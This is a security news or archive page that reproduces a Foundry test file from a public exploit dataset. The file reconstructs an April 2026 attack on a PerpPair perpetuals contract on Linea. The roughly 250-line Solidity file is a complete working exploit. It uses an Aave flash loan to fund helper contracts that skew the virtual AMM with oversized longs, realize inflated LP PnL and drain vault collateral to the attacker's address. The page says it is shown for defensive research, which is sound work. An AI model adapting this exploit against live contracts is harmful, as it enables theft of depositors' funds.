Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/PerpPair_exp.sol

Public reproduction file for dataset entry PerpPair.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/PerpPair_exp.sol248 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 165647.74 USDC
8// Attacker : 0x8d6778d7fae00ad2e0bc12194cf03b756fed9db3
9// Attack Contract : 0xb87275489272ce1c4be358fc5856ea3273093cf8
10// Vulnerable Contract : 0xb68396dd4230253d27589e2004ac37389836ae17
11// Attack Tx : https://lineascan.build/tx/0xcb0744a0d453e5556f162608fae8275dabd14292bffbfcd8394af4610c606447
13// @Info
14// Vulnerable Contract Code : https://lineascan.build/address/0xb68396dd4230253d27589e2004ac37389836ae17#code
15// CurveMath Code : https://lineascan.build/address/0x78197fe93999e34d5a688e1819923c66dcf8f4db#code
17// @Analysis
18// Twitter Guy : https://x.com/DefimonAlerts/status/2041070927908126897
19//
20// The attacker used a 60,000 USDC Aave flash loan to seed two fresh LP/trader helper pairs.
21// Each LP helper added PerpPair liquidity, each trader helper opened an oversized long that skewed
22// the virtual AMM, and the LP helper immediately realized inflated PnL and withdrew it from the vault.
24address constant ATTACKER = 0x8D6778d7FAe00aD2e0bc12194cF03B756FED9Db3;
25address constant AAVE_POOL = 0xc47b8C00b0f69a36fa203Ffeac0334874574a8Ac;
26address constant LINEA_USDC = 0x176211869cA2b568f2A7D4EE941E073a821EE1ff;
27address constant COLLATERAL_VAULT = 0x61cE9B51010BA52F701444f0F3D1e563F6ae8d91;
28address constant PERP_PAIR = 0xB68396dD4230253d27589e2004Ac37389836AE17;
30interface IPerpCollateralVault {
31 function addCollateral(
32 uint256[] calldata amounts
33 ) external;
34 function removeCollateral(
35 uint256 amount,
36 bytes calldata unverifiedReport
37 ) external;
38 function totalCollateral() external view returns (uint256);
39 function userCollateral(
40 address user
41 ) external view returns (uint256);
44interface IPerpPair {
45 function addLiquidity(
46 uint256 liquidityStable,
47 uint256 liquidityAsset,
48 uint256 maxFeeValue,
49 bytes calldata unverifiedReport
50 ) external;
51 function trade(
52 bool direction,
53 uint256 size,
54 uint256 minTradeReturn,
55 uint256 initialGuess,
56 address frontendAddress,
57 uint8 leverage,
58 bytes calldata unverifiedReport
59 ) external returns (uint256);
60 function realizePnL(
61 bytes calldata unverifiedReport
62 ) external returns (uint256 pnl, bool pnlSign);
65contract ContractTest is BaseTestWithBalanceLog {
66 function setUp() public {
67 uint256 forkBlock = 30_067_820;
68 vm.createSelectFork("linea", forkBlock);
69 vm.roll(30_067_821);
70 vm.warp(1_775_380_033);
71 fundingToken = LINEA_USDC;
72 attacker = ATTACKER;
74 vm.label(ATTACKER, "Attacker EOA");
75 vm.label(AAVE_POOL, "Aave V3 Pool");
76 vm.label(LINEA_USDC, "USDC");
77 vm.label(COLLATERAL_VAULT, "Perp collateral vault");
78 vm.label(PERP_PAIR, "PerpPair");
79 }
81 function testExploit() public balanceLog {
82 uint256 attackerBefore = IERC20(LINEA_USDC).balanceOf(ATTACKER);
83 PerpPairAttackCoordinator coordinator = new PerpPairAttackCoordinator(ATTACKER);
85 vm.prank(ATTACKER);
86 coordinator.run();
88 uint256 profit = IERC20(LINEA_USDC).balanceOf(ATTACKER) - attackerBefore;
89 emit log_named_decimal_uint("Attacker USDC profit", profit, 6);
90 assertGt(profit, 165_000e6, "rebuilt PerpPair exploit profit below expected range");
91 }
94contract PerpPairAttackCoordinator {
95 IERC20 private constant usdc = IERC20(LINEA_USDC);
96 IAaveFlashloan private constant aave = IAaveFlashloan(AAVE_POOL);
98 address private immutable profitReceiver;
100 constructor(
101 address profitReceiver_
102 ) {
103 profitReceiver = profitReceiver_;
104 }
106 function run() external {
107 require(msg.sender == profitReceiver, "only profit receiver");
109 // step 1: borrow the same USDC amount from Aave as the traced attack contract.
110 aave.flashLoanSimple(address(this), LINEA_USDC, 60_000e6, "", 0);
112 // step 8: Aave has pulled repayment; forward remaining USDC to the attacker EOA.
113 uint256 profit = usdc.balanceOf(address(this));
114 require(profit > 0, "no USDC profit");
115 usdc.transfer(profitReceiver, profit);
116 }
118 function executeOperation(
119 address asset,
120 uint256 amount,
121 uint256 premium,
122 address initiator,
123 bytes calldata
124 ) external returns (bool) {
125 require(msg.sender == AAVE_POOL, "not Aave pool");
126 require(initiator == address(this), "bad initiator");
127 require(asset == LINEA_USDC && amount == 60_000e6, "unexpected flash loan");
129 // step 2: deploy the first LP/trader pair and seed them with 30,000 and 15,000 USDC.
130 PerpLpHelper firstLp = new PerpLpHelper(address(this));
131 PerpTraderHelper firstTrader = new PerpTraderHelper(address(this));
132 usdc.transfer(address(firstLp), 30_000e6);
133 usdc.transfer(address(firstTrader), 15_000e6);
135 // step 3: add 20,000 virtual stable liquidity, then skew the AMM with a 100,000 size long.
136 firstLp.addLiquidityRound(30_000e6, 20_000e18);
137 firstTrader.tradeRound(15_000e6, 100_000e18);
139 // step 4: realize the manipulated LP PnL, withdraw available vault collateral, and collect it.
140 firstLp.realizeAndWithdraw();
141 firstLp.sweep(address(this));
143 // step 5: repeat with a smaller second LP/trader pair while the AMM state is still distorted.
144 PerpLpHelper secondLp = new PerpLpHelper(address(this));
145 PerpTraderHelper secondTrader = new PerpTraderHelper(address(this));
146 usdc.transfer(address(secondLp), 10_000e6);
147 usdc.transfer(address(secondTrader), 5000e6);
148 secondLp.addLiquidityRound(10_000e6, 8000e18);
149 secondTrader.tradeRound(5000e6, 30_000e18);
151 // step 6: realize the second inflated LP PnL and collect the remaining available vault collateral.
152 secondLp.realizeAndWithdraw();
153 secondLp.sweep(address(this));
155 // step 7: approve Aave to pull principal plus the traced 30 USDC premium.
156 uint256 repayment = amount + premium;
157 require(repayment == 60_030e6, "unexpected Aave premium");
158 usdc.approve(AAVE_POOL, repayment);
159 return true;
160 }
163contract PerpLpHelper {
164 IERC20 private constant usdc = IERC20(LINEA_USDC);
165 IPerpCollateralVault private constant vault = IPerpCollateralVault(COLLATERAL_VAULT);
166 IPerpPair private constant pair = IPerpPair(PERP_PAIR);
168 address private immutable owner;
170 constructor(
171 address owner_
172 ) {
173 owner = owner_;
174 }
176 modifier onlyOwner() {
177 require(msg.sender == owner, "not owner");
178 _;
179 }
181 function addLiquidityRound(
182 uint256 collateralAmount,
183 uint256 liquidityStable
184 ) external onlyOwner {
185 usdc.approve(COLLATERAL_VAULT, collateralAmount);
187 uint256[] memory amounts = new uint256[](1);
188 amounts[0] = collateralAmount;
189 vault.addCollateral(amounts);
191 pair.addLiquidity(liquidityStable, 0, 0, "");
192 }
194 function realizeAndWithdraw() external onlyOwner returns (uint256 pnl) {
195 bool pnlSign;
196 (pnl, pnlSign) = pair.realizePnL("");
197 require(pnlSign, "expected positive PnL");
199 uint256 userCollateral = vault.userCollateral(address(this));
200 uint256 availableCollateral = vault.totalCollateral();
201 uint256 withdrawAmount = pnl;
202 // The second round realizes more PnL than the vault can still pay.
203 if (withdrawAmount > userCollateral) withdrawAmount = userCollateral;
204 if (withdrawAmount > availableCollateral) withdrawAmount = availableCollateral;
205 vault.removeCollateral(withdrawAmount, "");
206 }
208 function sweep(
209 address to
210 ) external onlyOwner {
211 uint256 balance = usdc.balanceOf(address(this));
212 if (balance > 0) {
213 usdc.transfer(to, balance);
214 }
215 }
218contract PerpTraderHelper {
219 IERC20 private constant usdc = IERC20(LINEA_USDC);
220 IPerpCollateralVault private constant vault = IPerpCollateralVault(COLLATERAL_VAULT);
221 IPerpPair private constant pair = IPerpPair(PERP_PAIR);
223 address private immutable owner;
225 constructor(
226 address owner_
227 ) {
228 owner = owner_;
229 }
231 modifier onlyOwner() {
232 require(msg.sender == owner, "not owner");
233 _;
234 }
236 function tradeRound(
237 uint256 collateralAmount,
238 uint256 tradeSize
239 ) external onlyOwner {
240 usdc.approve(COLLATERAL_VAULT, collateralAmount);
242 uint256[] memory amounts = new uint256[](1);
243 amounts[0] = collateralAmount;
244 vault.addCollateral(amounts);
246 pair.trade(true, tradeSize, 0, 0, address(0), 10, "");
247 }

Analysis

Dataset entry

Public Foundry test for “PerpPair” (2026-04-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8d6778d7fae00ad2e0bc12194cf03b756fed9db3

  • Attack Contract

    0xb87275489272ce1c4be358fc5856ea3273093cf8

  • Vulnerable Contract

    0xb68396dd4230253d27589e2004ac37389836ae17

  • Attack Tx

    0xcb0744a0d453e5556f162608fae8275dabd14292bffbfcd8394af4610c606447

File record

Name
PerpPair
Path
src/test/2026-04/PerpPair_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
54f95e7d351db324adab2ce9f82b0a23ea73928e
Language
Solidity
Size
249 lines
Date
2026-04-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/PerpPair_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 54f95e7d351db324adab2ce9f82b0a23ea73928e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.